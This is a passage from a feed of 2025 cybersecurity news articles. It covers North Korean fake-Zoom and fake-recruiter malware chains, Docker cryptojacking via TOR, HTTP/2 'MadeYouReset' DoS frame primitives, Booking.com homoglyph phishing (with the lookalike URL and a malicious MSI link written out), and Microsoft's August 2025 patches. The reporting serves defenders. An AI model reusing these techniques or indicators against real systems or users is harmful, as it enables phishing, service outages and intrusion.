developer's system based on the operating system used. The Russian cybersecurity company said it has been keeping tabs on the two campaigns since April 2025, although it's assessed that GhostCall has been active since mid-2023, likely following the RustBucket campaign. RustBucket marked the adversarial collective's major pivot to targeting macOS systems, following which other campaigns have leveraged malware families like KANDYKORN, ObjCShellz, and TodoSwift. It's worth noting that various aspects of the activity have been documented extensively over the past year by multiple security vendors, including Microsoft, Huntress, Field Effect, Huntabil.IT, Validin, and SentinelOne. The GhostCall Campaign Targets who land on the fake Zoom pages as part of the GhostCall campaign are initially served a bogus page that gives the illusion of a live call, only to display an error message three to five seconds later, urging them to download a Zoom software development kit (SDK) to address a purported issue with continuing the call. Should the victims fall for the trap and attempt to update the SDK by clicking on the "Update Now" option, it leads to the download of a malicious AppleScript file onto their system. In the event the victim is using a Windows machine, the attack leverages the ClickFix technique to copy and run a PowerShell command. At each stage, every interaction with the fake site is recorded and beaconed to the attackers to track the victim's actions. As recently as last month, the threat actor has been observed transitioning from Zoom to Microsoft Teams, using the same tactic of tricking users into downloading a TeamsFx SDK this time to trigger the infection chain. Regardless of the lure used, the AppleScript is designed to install a phony application disguised as Zoom or Microsoft Teams. It also downloads another AppleScript dubbed DownTroy that checks stored passwords associated with password management applications and installs additional malware with root privileges. DownTroy, for its part, is engineered to drop several payloads as part of eight distinct attack chains, while also bypassing Apple's Transparency, Consent, and Control (TCC) framework - ZoomClutch or TeamsClutch, which uses a Swift-based implant that masquerades as Zoom or Teams while harboring functionality to prompt the user to enter their system password in order to complete the app update and exfiltrate the details to an external server DownTroy v1, which uses a Go-based dropper to launch the AppleScript-based DownTroy malware that's then responsible for downloading additional scripts from the server until the machine is rebooted. CosmicDoor, which uses a C++ binary loader called GillyInjector (aka InjectWithDyld) to run a benign Mach-O app and inject a malicious payload into it at runtime. When it's run with the --d flag, GillyInjector activates its destructive capabilities and irrevocably wipes all files in the current directory. The injected payload is a backdoor written in Nim named CosmicDoor that can communicate with an external server to receive and execute commands. It's believed that the attackers first developed a Go version of CosmicDoor for Windows, before moving to Rust, Python, and Nim variants. It also downloads a bash script stealer suite named SilentSiphon. RooTroy, which uses Nimcore loader to launch GillyInjector, which then injects a Go backdoor called RooTroy (aka Root Troy V4) to collect device information, enumerate running processes, read payload from a specific file, and download additional malware (counting RealTimeTroy) and execute them. RealTimeTroy, which uses Nimcore loader to launch GillyInjector, which then injects a Go backdoor called RealTimeTroy that communicates with an external server using the WSS protocol to read/write files, get directory and process information, upload/download files, terminate a specified process, and get device information. SneakMain, which uses Nimcore loader to launch a Nim payload called SneakMain to receive and execute additional AppleScript commands received from an external server. DownTroy v2, which uses a dropper named CoreKitAgent to launch Nimcore loader, which then launches AppleScript-based DownTroy (aka NimDoor) to download an additional malicious script from an external server. SysPhon, which uses a lightweight version of RustBucket named SysPhon and SUGARLOADER, a known loader previously utilized to deliver the KANDYKORN malware. SysPhon, also employed in the Hidden Risk campaign, is a downloader written in C++ that can conduct reconnaissance and fetch a binary payload from an external server. SilentSiphon is equipped to harvest data from Apple Notes, Telegram, web browser extensions, as well as credentials from browsers and password managers, and secrets stored in configuration files related to a long list of services: GitHub, GitLab, Bitbucket, npm, Yarn, Python pip, RubyGems, Rust cargo, NET Nuget, AWS, Google Cloud, Microsoft Azure, Oracle Cloud, Akamai Linode, DigitalOcean API, Vercel, Cloudflare, Netlify, Stripe, Firebase, Twilio, CircleCI, Pulumi, HashiCorp, SSH, FTP, Sui Blockchain, Solana, NEAR Blockchain, Aptos Blockchain, Algorand, Docker, Kubernetes, and OpenAI. "While the video feeds for fake calls were recorded via the fabricated Zoom phishing pages the actor created, the profile images of meeting participants appear to have been sourced from job platforms or social media platforms such as LinkedIn, Crunchbase, or X," Kaspersky said. "Interestingly, some of these images were enhanced with [OpenAI] GPT-4o." The GhostHire Campaign The GhostHire campaign, the Russian cybersecurity company added, also dates back to mid-2023, with the attackers initiating contact with the targets directly on Telegram, sharing details of a job offer along with a link to a LinkedIn profile impersonating recruiters at financial companies based in the U.S. in an attempt to lend the conversations a veneer of legitimacy. "Following up on initial communication, the actor adds the target to a user list for a Telegram bot, which displays the impersonated company’s logo and falsely claims to streamline technical assessments for candidates," Kaspersky explained. "The bot then sends the victim an archive file (ZIP) containing a coding assessment project, along with a strict deadline (often around 30 minutes) to pressure the target into quickly completing the task. This urgency increases the likelihood of the target executing the malicious content, leading to initial system compromise." The project in itself is innocuous, but incorporates a malicious dependency in the form of a malicious Go module hosted on GitHub (e.g., uniroute), causing the infection sequence to be triggered once the project is executed. This includes first determining the operating system of the victim's computer and delivering an appropriate next-stage payload (i.e., DownTroy) programmed in PowerShell (Windows), bash script (Linux), or AppleScript (macOS). Also deployed via DownTroy in the attacks targeting Windows are RooTroy, RealTimeTroy, a Go version of CosmicDoor, and Rust-based loader named Bof that's used to decode and launch an encrypted shellcode payload stored in the "C:\Windows\system32\" folder. "Our research indicates a sustained effort by the actor to develop malware targeting both Windows and macOS systems, orchestrated through a unified command-and-control infrastructure," Kaspersky said. "The use of generative AI has significantly accelerated this process, enabling more efficient malware development with reduced operational overhead." "The actor's targeting strategy has evolved beyond simple cryptocurrency and browser credential theft. Upon gaining access, they conduct comprehensive data acquisition across a range of assets, including infrastructure, collaboration tools, note-taking applications, development environments, and communication platforms (messengers)."
thehackernews.comOct 28, 2025extracted
TOR-Based Cryptojacking Attack Expands Through Misconfigured Docker APIs
Cybersecurity researchers have discovered a variant of a recently disclosed campaign that abuses the TOR network for cryptojacking attacks targeting exposed Docker APIs. Akamai, which discovered the latest activity last month, said it's designed to block other actors from accessing the Docker API from the internet. The findings build on a prior report from Trend Micro in late June 2025, which uncovered a malicious campaign that targeted exposed Docker instances to stealthily drop an XMRig cryptocurrency miner using a TOR domain for anonymity. "This new strain seems to use similar tooling to the original, but may have a different end goal – including possibly setting up the foundation of a complex botnet," security researcher Yonatan Gilvarg said. The attack chain essentially involves breaking into misconfigured Docker APIs to execute a new container based on the Alpine Docker image and mount the host file system into it. This is followed by the threat actors running a Base64-encoded payload to download a shell script downloader from a .onion domain. The script, besides altering SSH configurations to set up persistence, also installs other tools such as masscan, libpcap, libpcap-dev, zstd, and torsocks to conduct reconnaissance, contact a command-and-control (C2) server, and download a compressed binary from a second .onion domain. "The first file that is downloaded is a dropper written in Go that includes the content it wants to drop, so it won't communicate out to the internet," Gilvarg explained. "Except for dropping another binary file, it parses the utmp file to find who is currently logged in to the machine." Interestingly, the binary file's source code includes an emoji to depict users who are signed in to the system. This indicates that the artifact may have been crafted using a large language model (LLM). The dropper also launches Masscan to scan the internet for open Docker API services at port 2375 and propagate the infection to those machines by repeating the same process of creating a container with the Base64 command. Furthermore, the binary includes checks for two more ports: 23 (Telnet) and 9222 (remote debugging port for Chromium browsers), although the functionality to spread via those ports is yet to be fully fleshed out. The Telnet attack method entails using a set of known, default routers and device credentials to brute-force logins and exfiltrate successful sign-in attempts to a webhook[.]site endpoint with details about the destination IP address and victim authentication credentials. In the case of port 9222, the malware utilizes a Go library named chromedp to interact with the web browser. It has been previously weaponized by North Korean threat actors to communicate with C2 servers and even by stealer malware to bypass Chrome's app-bound encryption, connect remotely to Chromium sessions, and siphon cookies and other private data. It then proceeds to attach to an existing session with the open remote port and ultimately send a POST to the same .onion domain used to retrieve the shell script downloader with information about the source IP address on which the malware is and the destination it found access to on port 9222. The details are transmitted to an endpoint named "httpbot/add," raising the possibility that devices with exposed remote debugging ports for Chrome/Chromium could be enlisted into a botnet for delivering additional payloads that can steal data or be used to conduct distributed denial-of-service (DDoS) attacks. "As the malware only scans for port 2375, the logic for handling ports 23 and 9222 is currently unreachable and will not be executed," Gilvarg said. "However, the implementation exists, which may indicate future capabilities." "Attackers can gain significant control over systems affected by abused APIs. The importance of segmenting networks, limiting exposure of services to the internet, and securing default credentials cannot be overstated. By adopting these measures, organizations can significantly reduce their vulnerability to such threats." Wiz Flags AWS SES Abuse Campaign The disclosure comes as cloud security firm Wiz detailed an Amazon Simple Email Service (SES) campaign in May 2025 that leveraged compromised Amazon Web Services (AWS) access keys as a launchpad for a mass phishing attack. It's currently not known how the keys were obtained. However, various methods exist by which an attacker can accomplish this: accidental public exposure in code repositories or through misconfigured assets, or theft from a developer workstation using stealer malware. "The attacker used the compromised key to access the victim's AWS environment, bypass SES's built-in restrictions, verify new 'sender' identities, and methodically prepare and conduct a phishing operation," Wiz researchers Itay Harel and Hila Ramati said. Wiz, which further probed the phishing campaign in partnership with Proofpoint, said the emails targeted several organizations spanning multiple geographies and sectors, and employed tax-themed lures to redirect recipients to credential harvesting pages. "If SES is configured in your account, attackers can send email from your verified domains," Wiz cautioned. "Beyond brand damage, this enables phishing that looks like it came from you and can be used for spearphishing, fraud, data theft, or masquerading in business processes." When reached for comment, an AWS spokesperson told The Hacker News that "As always, we encourage all customers to follow recommended security guidance to secure their accounts and prevent abuse. If anyone suspects that AWS resources are being used for abusive activity, they can report it using the report abuse form."
thehackernews.comSep 9, 2025extracted
New HTTP/2 'MadeYouReset' Vulnerability Enables Large-Scale DoS Attacks
Multiple HTTP/2 implementations have been found susceptible to a new attack technique called MadeYouReset that could be explored to conduct powerful denial-of-service (DoS) attacks. "MadeYouReset bypasses the typical server-imposed limit of 100 concurrent HTTP/2 requests per TCP connection from a client. This limit is intended to mitigate DoS attacks by restricting the number of simultaneous requests a client can send," researchers Gal Bar Nahum, Anat Bremler-Barr, and Yaniv Harel said. "With MadeYouReset, an attacker can send many thousands of requests, creating a denial-of-service condition for legitimate users and, in some vendor implementations, escalating into out-of-memory crashes." The vulnerability has been assigned the generic CVE identifier, CVE-2025-8671 (CVSS score: 7.5), although the issue impacts several products, including Apache Tomcat (CVE-2025-48989), F5 BIG-IP (CVE-2025-54500), and Netty (CVE-2025-55163). MadeYouReset is the latest flaw in HTTP/2 after Rapid Reset (CVE-2023-44487) and HTTP/2 CONTINUATION Flood that can be potentially weaponized to stage large-scale DoS attacks. Just like how the other two attacks leverage the RST_STREAM frame and CONTINUATION frame, respectively, in the HTTP/2 protocol to pull off the attack, MadeYouReset builds upon Rapid Reset and its mitigation, which limits the number of streams a client can cancel using RST_STREAM. Specifically, it takes advantage of the fact that the RST_STREAM frame is used for both client‑initiated cancellation and to signal stream errors. This is achieved by sending carefully crafted frames that trigger protocol violations in unexpected ways, prompting the server to reset the stream by issuing an RST_STREAM. "For MadeYouReset to work, the stream must begin with a valid request that the server begins working on, then trigger a stream error so the server emits RST_STREAM while the backend continues computing the response," Bar Nahum explained. "By crafting certain invalid control frames or violating protocol sequencing at just the right moment, we can make the server send RST_STREAM for a stream that already carried a valid request." The six primitives that make the server send RST_STREAM frames include - WINDOW_UPDATE frame with an increment of 0 PRIORITY frame whose length is not 5 (the only valid length for it) PRIORITY frame that makes a stream dependent on itself WINDOW_UPDATE frame with an increment that makes the window exceed 2^31 − 1 (which is the largest window size allowed) HEADERS frame sent after the client has closed the stream (via the END_STREAM flag) DATA frame sent after the client has closed the stream (via the END_STREAM flag) This attack is notable not least because it obviates the need for an attacker to send an RST_STREAM frame, thereby completely bypassing Rapid Reset mitigations, and also achieves the same impact as the latter. In an advisory, the CERT Coordination Center (CERT/CC) said MadeYouReset exploits a mismatch caused by stream resets between HTTP/2 specifications and the internal architectures of many real-world web servers, resulting in resource exhaustion -- something an attacker can exploit to induce a DoS attack. "The discovery of server-triggered Rapid Reset vulnerabilities highlights the evolving complexity of modern protocol abuse," Imperva said. "As HTTP/2 remains a foundation of web infrastructure, protecting it against subtle, spec-compliant attacks like MadeYouReset is more critical than ever." HTTP/1.1 Must Die The disclosure of MadeYouReset comes as application security firm PortSwigger detailed novel HTTP/1.1 desync attacks (aka HTTP request smuggling), including a variant of CL.0 called 0.CL, exposing millions of websites to hostile takeover. Akamai (CVE-2025-32094) and Cloudflare (CVE-2025-4366) have addressed the issues. HTTP request smuggling is a security exploit affecting the application layer protocol that abuses the inconsistency in parsing non-RFC-compliant HTTP requests by front-end and back-end servers, permitting an attacker to "smuggle" a request and sidestep security measures. "HTTP/1.1 has a fatal flaw: Attackers can create extreme ambiguity about where one request ends, and the next request starts," PortSwigger's James Kettle said. "HTTP/2+ eliminates this ambiguity, making desync attacks virtually impossible. However, simply enabling HTTP/2 on your edge server is insufficient – it must be used for the upstream connection between your reverse proxy and origin server." Update Multiple vendors have responded to the MadeYouReset disclosure -
thehackernews.comAug 14, 2025extracted
Booking.com phishing campaign uses sneaky 'ん' character to trick you
Threat actors are leveraging a Unicode character to make phishing links appear like legitimate Booking.com links in a new campaign distributing malware. The attack makes use of the Japanese hiragana character, ん, which can, on some systems, appear as a forward slash and make a phishing URL appear realistic to a person at a casual glance. BleepingComputer has further come across an Intuit phishing campaign using a lookalike domain using the letter L instead of 'i' in Intuit. Booking.com phishing links using Japanese homoglyph The attack, first spotted by security researcher JAMESWT, abuses the Japanese hiragana character “ん” (Unicode U+3093), which closely resembles the Latin letter sequence '/n' or '/~', at a quick glance in some fonts. This visual similarity enables scammers to create URLs that appear to belong to the genuine Booking.com domain, but direct users to a malicious site. Below is a copy of the phishing email shared by the security researcher: The text in the email, https://admin.booking.com/hotel/hoteladmin/... itself is deceptive. While it may look like a Booking.com address, the hyperlink points to: https://account.booking.comんdetailんrestric-access.www-account-booking.com/en/ When rendered in a web browser's address bar, the 'ん' characters can trick users into thinking they are navigating through a subdirectory of booking.com. In reality, the actual registered domain is www-account-booking[.]com, a malicious lookalike, and everything before that is just a deceptive subdomain string. Victims who click through are eventually redirected to: www-account-booking[.]com/c.php?a=0 This in turn delivers a malicious MSI installer from a CDN link, https://updatessoftware.b-cdn[.]net/john/pr/04.08/IYTDTGTF.msi Samples of the malicious site are available on abuse.ch's MalwareBazaar, with any.run analysis showing the infection chain. The MSI file is used to drop further payloads, potentially including infostealers or remote access trojans. This phishing tactic exploits homoglyphs. A homoglyph is a character that looks similar to another character but belongs to a different character set or alphabet. These visually similar characters can be exploited in phishing attacks or to create misleading content. For example, Cyrillic character "О" (U+041E) may appear identical to the Latin letter "O" (U+004F) to a human, but they are different characters. Given their visual similarities, homoglyphs have been leveraged time and time again by threat actors in homograph attacks and phishing emails. Defenders and software developers have also, over the last few years, rolled out security measures that make it easy for users to distinguish between distinct homoglyphs. This isn't the first time threat actors have targeted Booking.com customers either. In March this year, Microsoft warned of phishing campaigns impersonating Booking.com and using ClickFix social engineering attacks to infect hospitality workers with malware. In 2023, Akamai revealed how hackers were redirecting hotel guests to fake Booking.com sites to steal credit card information. 'Lntuit' not Intuit BleepingComputer's Sergiu Gatlan spotted a separate phishing campaign involving users being targeted with Intuit-themed emails. These emails appear to come from and take you to intuit.com addresses, but instead use domains starting with Lntuit—which, in lowercase, can resemble "intuit" in certain fonts. A simple yet effective technique. The unusually narrow layout of this email in desktop clients suggests it was primarily designed for mobile viewing, with attackers banking on mobile users clicking the "Verify my email" phishing link without closely inspecting it. The button takes users to: https://intfdsl[.]us/sa5h17/ Interestingly, the illicit link, when accessed directly i.e. not from the target user's email account appears to redirect the user back to the legitimate Intuit.com login page at https://accounts.intuit.com/app/sign-in. These incidents are a reminder that attackers will continue to find creative ways to abuse typography for social engineering. To protect yourself, always hover over links before clicking to reveal the true target. Users should always check the actual domain at the rightmost end of the address before the first single / — this is the real registered domain. Granted, the use of visually deceptive Unicode characters like 'ん' create additional hurdles, and demonstrates that visual URL inspection alone isn't foolproof. Keeping endpoint security software up to date adds another layer of defense against attacks since modern phishing kits often deliver malware directly, after a phishing link is clicked. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comAug 14, 2025extracted
Microsoft fixes “BadSuccessor” Kerberos vulnerability (CVE-2025-53779)
Microsoft fixes “BadSuccessor” Kerberos vulnerability (CVE-2025-53779) For August 2025 Patch Tuesday, Microsoft has released security updates resolving 100+ security vulnerabilities in its various solutions, including a relative path traversal flaw in Windows Kerberos (CVE-2025-53779) that allows an authorized attacker to elevate privileges over a network as part of a BadSuccessor attack. The vulnerability, discovered by Akamai researcher Yuval Gordon, exploits the delegated Managed Service Account (dMSA) feature that was introduced in Windows Server 2025 and can be used to compromise any user in Active Directory (AD). “An attacker who successfully exploited this vulnerability could gain domain administrator privileges,” Microsoft confirmed. While the vulnerability has been known for months, there is currently no indication that it has been exploited in the wild. Microsoft rates the likelihood of exploitation as “less likely” and, consequently, does not consider this security update critical to deploy urgently. “To exploit BadSuccessor, an attacker must have at least one domain controller in a domain running Windows Server 2025 in order to achieve domain compromise,” Satnam Narang, senior staff research engineer at Tenable, told Help Net Security. He also noted that the flaw’s immediate impact is limited, as only 0.7% of AD domains had met the prerequisite at the time of disclosure. Vulnerabilities that you should resolve quickly “In the wake of last month’s ‘ToolShell’ zero-days (CVE-2025-53770 and CVE-2025-53771), which ravaged organizations through unauthenticated RCE exploits, Microsoft [has patched] another important deserialization bug: CVE-2025-49712,” says Saeed Abbasi, senior manager of security research with Qualys’ Threat Research Unit. “This RCE demands authentication but pairs dangerously with known auth bypasses. Attackers chaining this with prior flaws could achieve full server compromise, and data exfiltration. It’s not yet exploited in the wild, but history shows these evolve fast, and exposed SharePoint instances are prime footholds for lateral movement. Prioritize and patch all SharePoint updates, rotate keys, and eliminate internet exposure. Delaying invites regulatory scrutiny and breaches since SharePoint’s exploit streak isn’t over.” Dustin Childs, head of threat awareness at Trend Micro’s Zero Day Initiative, flagged CVE-2025-53731 and CVE-2025-53740, two Microsoft Office RCE vulnerabilities, as important to address sooner rather than later. “This is the seventh month in a row where at least one Office component allowed code execution through the Preview Pane. With so many different components impacted, I doubt these are all patch bypasses. Instead, it appears attackers are mining code that hasn’t been looked at much and finding some gems. Perhaps it’s time to consider disabling the Preview Pane for a bit while the security gnomes in Redmond sort this out,” he advised. CVE-2025-53766, a heap-based buffer overflow in Windows GDI+ (a graphics API used in Windows for rendering 2D graphics, images, and text) allows an unauthorized attacker to execute code over a network. “An attacker could trigger this vulnerability by convincing a victim to download and open a document that contains a specially crafted metafile. In the worst-case scenario, an attacker could trigger this vulnerability on web services by uploading documents containing a specially crafted metafile without user interaction,” Microsoft explained (though still considers the flaw less likely to be exploited). Childs gave an example of such a worst-case scenario: an attacker uploading something through an ad network that is served up to users. “Ad blockers are just to remove annoyances; they also protect for malicious ads. They’re rare, but they have occurred in the past. Since GDI+ touches so many different components (and users tend to click on anything), test and deploy this one quickly,” he recommended. On the other hand, CVE-2025-53778, an authenticated Windows NTLM elevation of privilege vulnerability with a low attack complexity, is considered by Microsoft more likely to be exploited, and should be addressed sooner rather than later. Finally, if you’re running a hybrid deployment of Microsoft Exchange, be sure to check that you’re not among the (still to many) organizations that haven’t taken action to resolve CVE-2025-53786, a severe elevation of privilege flaw that pushed CISA to issue an emergency directive and guidance on how to address it. “A successful exploit of CVE-2025-53786 would be highly disruptive. It exploits a bridge for an attacker to pivot from a compromised on-premises server directly into an organization’s cloud environment, potentially gaining administrative control over Exchange Online and other connected Microsoft 365 services,” says Ben McCarthy, lead cyber security engineer at Immersive. An attack taking advantage of it would be difficult to detect in standard audit logs, he pointed out, and made sure to note that plugging this security hole requires more than just installing a patch. “Administrators must also follow Microsoft’s manual configuration steps to create a dedicated service principal for the hybrid connection. This breaks the overly permissive shared trust, ensuring the on-prem server has only the limited permissions it truly needs,” he explained. UPDATE (August 29, 2025, 04:50 a.m. ET): Akamai researchers say Microsoft’s patch for CVE-2025-53779 (BadSuccessor) is effective in mitigating a significant part of the risk associated with BadSuccessor, but that “the technique lives on and remains relevant in certain scenarios.” Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!
helpnetsecurity.comAug 13, 2025extracted
Microsoft August 2025 Patch Tuesday Fixes Kerberos Zero-Day Among 111 Total New Flaws
Microsoft on Tuesday rolled out fixes for a massive set of 111 security flaws across its software portfolio, including one flaw that has been disclosed as publicly known at the time of the release. Of the 111 vulnerabilities, 16 are rated Critical, 92 are rated Important, two are rated Moderate, and one is rated Low in severity. Forty-four of the vulnerabilities relate to privilege escalation, followed by remote code execution (35), information disclosure (18), spoofing (8), and denial-of-service (4) defects. This is in addition to 16 vulnerabilities addressed in Microsoft's Chromium-based Edge browser since the release of last month's Patch Tuesday update, including two spoofing bugs affecting Edge for Android. Included among the vulnerabilities is a privilege escalation vulnerability impacting Microsoft Exchange Server hybrid deployments (CVE-2025-53786, CVSS score: 8.0) that Microsoft disclosed last week. The publicly disclosed zero-day is CVE-2025-53779 (CVSS score: 7.2), another privilege escalation flaw in Windows Kerberos that stems from a case of relative path traversal. Akamai researcher Yuval Gordon has been credited with discovering and reporting the bug. It's worth mentioning here that the issue was documented in detail back in May 2025 by the web infrastructure and security company, giving it the codename BadSuccessor. The novel technique essentially allows a threat actor with sufficient privileges to compromise an Active Directory (AD) domain by misusing delegated Managed Service Account (dMSA) objects. "The good news here is that successful exploitation of CVE-2025-53779 requires an attacker to have pre-existing control of two attributes of the hopefully well protected dMSA: msds-groupMSAMembership, which determines which users may use credentials for the managed service account, and msds-ManagedAccountPrecededByLink, which contains a list of users on whose behalf the dMSA can act," Adam Barnett, lead software engineer at Rapid7, told The Hacker News. "However, abuse of CVE-2025-53779 is certainly plausible as the final link of a multi-exploit chain which stretches from no access to total pwnage." Action1's Mike Walters noted that the path traversal flaw can be abused by an attacker to create improper delegation relationships, enabling them to impersonate privileged accounts, escalate to a domain administrator, and potentially gain full control of the Active Directory domain. "An attacker who already has a compromised privileged account can use it to move from limited administrative rights to full domain control," Walters added. "It can also be paired with methods such as Kerberoasting or Silver Ticket attacks to maintain persistence." "With domain administrator privileges, attackers can disable security monitoring, modify Group Policy, and tamper with audit logs to hide their activity. In multi-forest environments or organizations with partner connections, this flaw could even be leveraged to move from one compromised domain to others in a supply chain attack." Satnam Narang, senior staff research engineer at Tenable, said the immediate impact of BadSuccessor is limited, as only 0.7% of Active Directory domains had met the prerequisite at the time of disclosure. "To exploit BadSuccessor, an attacker must have at least one domain controller in a domain running Windows Server 2025 in order to achieve domain compromise," Narang pointed out. Some of the notable Critical-rated vulnerabilities patched by Redmond this month are below - CVE-2025-53767 (CVSS score: 10.0) - Azure OpenAI Elevation of Privilege Vulnerability CVE-2025-53766 (CVSS score: 9.8) - GDI+ Remote Code Execution Vulnerability CVE-2025-50165 (CVSS score: 9.8) - Windows Graphics Component Remote Code Execution Vulnerability CVE-2025-53792 (CVSS score: 9.1) - Azure Portal Elevation of Privilege Vulnerability CVE-2025-53787 (CVSS score: 8.2) - Microsoft 365 Copilot BizChat Information Disclosure Vulnerability CVE-2025-50177 (CVSS score: 8.1) - Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability CVE-2025-50176 (CVSS score: 7.8) - DirectX Graphics Kernel Remote Code Execution Vulnerability Microsoft noted that the three cloud service CVEs impacting Azure OpenAI, Azure Portal, and Microsoft 365 Copilot BizChat have already been remediated, and that they require no customer action. Check Point, which disclosed CVE-2025-53766 alongside CVE-2025-30388, said the vulnerabilities allow attackers to execute arbitrary code on the affected system, leading to a full system compromise. "The attack vector involves interacting with a specially crafted file. When a user opens or processes this file, the vulnerability is triggered, allowing the attacker to take control," the cybersecurity company said. The Israeli firm revealed that it also uncovered a vulnerability in a Rust-based component of the Windows kernel that can result in a system crash that, in turn, triggers a hard reboot. "For organizations with large or remote workforces, the risk is significant: attackers could exploit this flaw to simultaneously crash numerous computers across an enterprise, resulting in widespread disruption and costly downtime," Check Point said. "This discovery highlights that even with advanced security technologies like Rust, continuous vigilance and proactive patching are essential to maintaining system integrity in a complex software environment." Another vulnerability of importance is CVE-2025-50154 (CVSS score: 6.5), an NTLM hash disclosure spoofing vulnerability that's actually a bypass for a similar bug (CVE-2025-24054, CVSS score: 6.5) that was plugged by Microsoft in March 2025. "The original vulnerability demonstrated how specially crafted requests could trigger NTLM authentication and expose sensitive credentials," Cymulate researcher Ruben Enkaoua said. "This new vulnerability [...] allows an attacker to extract NTLM hashes without any user interaction, even on fully patched systems. By exploiting a subtle gap left in the mitigation, an attacker can trigger NTLM authentication requests automatically, enabling offline cracking or relay attacks to gain unauthorized access." Software Patches from Other Vendors In addition to Microsoft, security updates have also been released by other vendors over the past several weeks to rectify several vulnerabilities, including — 7-Zip Adobe Amazon Web Services AMD AMI Apple Arm ASUS Atlassian Autodesk Axis Communications Bosch Broadcom (including VMware) Check Point Cisco CODESYS D-Link Dell Drupal Elastic Emerson F5 Fortinet Fortra Foxit Software FUJIFILM Fujitsu Gigabyte GitLab Google Android and Pixel Google Chrome Google Cloud Google Wear OS HMS Networks HP HP Enterprise (including Aruba Networking) Huawei IBM Intel Ivanti Juniper Networks Lenovo Linux distributions AlmaLinux, Alpine Linux, Amazon Linux, Arch Linux, Debian, Gentoo, Oracle Linux, Mageia, Red Hat, Rocky Linux, SUSE, and Ubuntu MediaTek Mitel Mitsubishi Electric Moxa Mozilla Firefox, Firefox ESR, and Thunderbird NVIDIA Palo Alto Networks Qualcomm Rockwell Automation Salesforce Samsung SAP Schneider Electric ServiceNow Siemens SolarWinds SonicWall Sophos Splunk Spring Framework Supermicro Synology TP-Link Trend Micro WinRAR Xerox Zimbra Zoom, and Zyxel
thehackernews.comAug 13, 2025extracted
Microsoft Patch Tuesday, August 2025 Edition
Microsoft today released updates to fix more than 100 security flaws in its Windows operating systems and other software. At least 13 of the bugs received Microsoft’s most-dire “critical” rating, meaning they could be abused by malware or malcontents to gain remote access to a Windows system with little or no help from users. August’s patch batch from Redmond includes an update for CVE-2025-53786, a vulnerability that allows an attacker to pivot from a compromised Microsoft Exchange Server directly into an organization’s cloud environment, potentially gaining control over Exchange Online and other connected Microsoft Office 365 services. Microsoft first warned about this bug on Aug. 6, saying it affects Exchange Server 2016 and Exchange Server 2019, as well as its flagship Exchange Server Subscription Edition. Ben McCarthy, lead cyber security engineer at Immersive, said a rough search reveals approximately 29,000 Exchange servers publicly facing on the internet that are vulnerable to this issue, with many of them likely to have even older vulnerabilities. McCarthy said the fix for CVE-2025-53786 requires more than just installing a patch, such as following Microsoft’s manual instructions for creating a dedicated service to oversee and lock down the hybrid connection. “In effect, this vulnerability turns a significant on-premise Exchange breach into a full-blown, difficult-to-detect cloud compromise with effectively living off the land techniques which are always harder to detect for defensive teams,” McCarthy said. CVE-2025-53779 is a weakness in the Windows Kerberos authentication system that allows an unauthenticated attacker to gain domain administrator privileges. Microsoft credits the discovery of the flaw to Akamai researcher Yuval Gordon, who dubbed it “BadSuccessor” in a May 2025 blog post. The attack exploits a weakness in “delegated Managed Service Account” or dMSA — a feature that was introduced in Windows Server 2025. Some of the critical flaws addressed this month with the highest severity (between 9.0 and 9.9 CVSS scores) include a remote code execution bug in the Windows GDI+ component that handles graphics rendering (CVE-2025-53766) and CVE-2025-50165, another graphics rendering weakness. Another critical patch involves CVE-2025-53733, a vulnerability in Microsoft Word that can be exploited without user interaction and triggered through the Preview Pane. One final critical bug tackled this month deserves attention: CVE-2025-53778, a bug in Windows NTLM, a core function of how Windows systems handle network authentication. According to Microsoft, the flaw could allow an attacker with low-level network access and basic user privileges to exploit NTLM and elevate to SYSTEM-level access — the highest level of privilege in Windows. Microsoft rates the exploitation of this bug as “more likely,” although there is no evidence the vulnerability is being exploited at the moment. Feel free to holler in the comments if you experience problems installing any of these updates. As ever, the SANS Internet Storm Center has its useful breakdown of the Microsoft patches indexed by severity and CVSS score, and AskWoody.com is keeping an eye out for Windows patches that may cause problems for enterprises and end users. GOOD MIGRATIONS Windows 10 users out there likely have noticed by now that Microsoft really wants you to upgrade to Windows 11. The reason is that after the Patch Tuesday on October 14, 2025, Microsoft will stop shipping free security updates for Windows 10 computers. The trouble is, many PCs running Windows 10 do not meet the hardware specifications required to install Windows 11 (or they do, but just barely). If the experience with Windows XP is any indicator, many of these older computers will wind up in landfills or else will be left running in an unpatched state. But if your Windows 10 PC doesn’t have the hardware chops to run Windows 11 and you’d still like to get some use out of it safely, consider installing a newbie-friendly version of Linux, like Linux Mint. Like most modern Linux versions, Mint will run on anything with a 64-bit CPU that has at least 2GB of memory, although 4GB is recommended. In other words, it will run on almost any computer produced in the last decade. There are many versions of Linux available, but Linux Mint is likely to be the most intuitive interface for regular Windows users, and it is largely configurable without any fuss at the text-only command-line prompt. Mint and other flavors of Linux come with LibreOffice, which is an open source suite of tools that includes applications similar to Microsoft Office, and it can open, edit and save documents as Microsoft Office files. If you’d prefer to give Linux a test drive before installing it on a Windows PC, you can always just download it to a removable USB drive. From there, reboot the computer (with the removable drive plugged in) and select the option at startup to run the operating system from the external USB drive. If you don’t see an option for that after restarting, try restarting again and hitting the F8 button, which should open a list of bootable drives. Here’s a fairly thorough tutorial that walks through exactly how to do all this. And if this is your first time trying out Linux, relax and have fun: The nice thing about a “live” version of Linux (as it’s called when the operating system is run from a removable drive such as a CD or a USB stick) is that none of your changes persist after a reboot. Even if you somehow manage to break something, a restart will return the system back to its original state.
krebsonsecurity.comAug 12, 2025extracted
Week in review: SonicWall firewalls targeted in ransomware attacks, Black Hat USA 2025
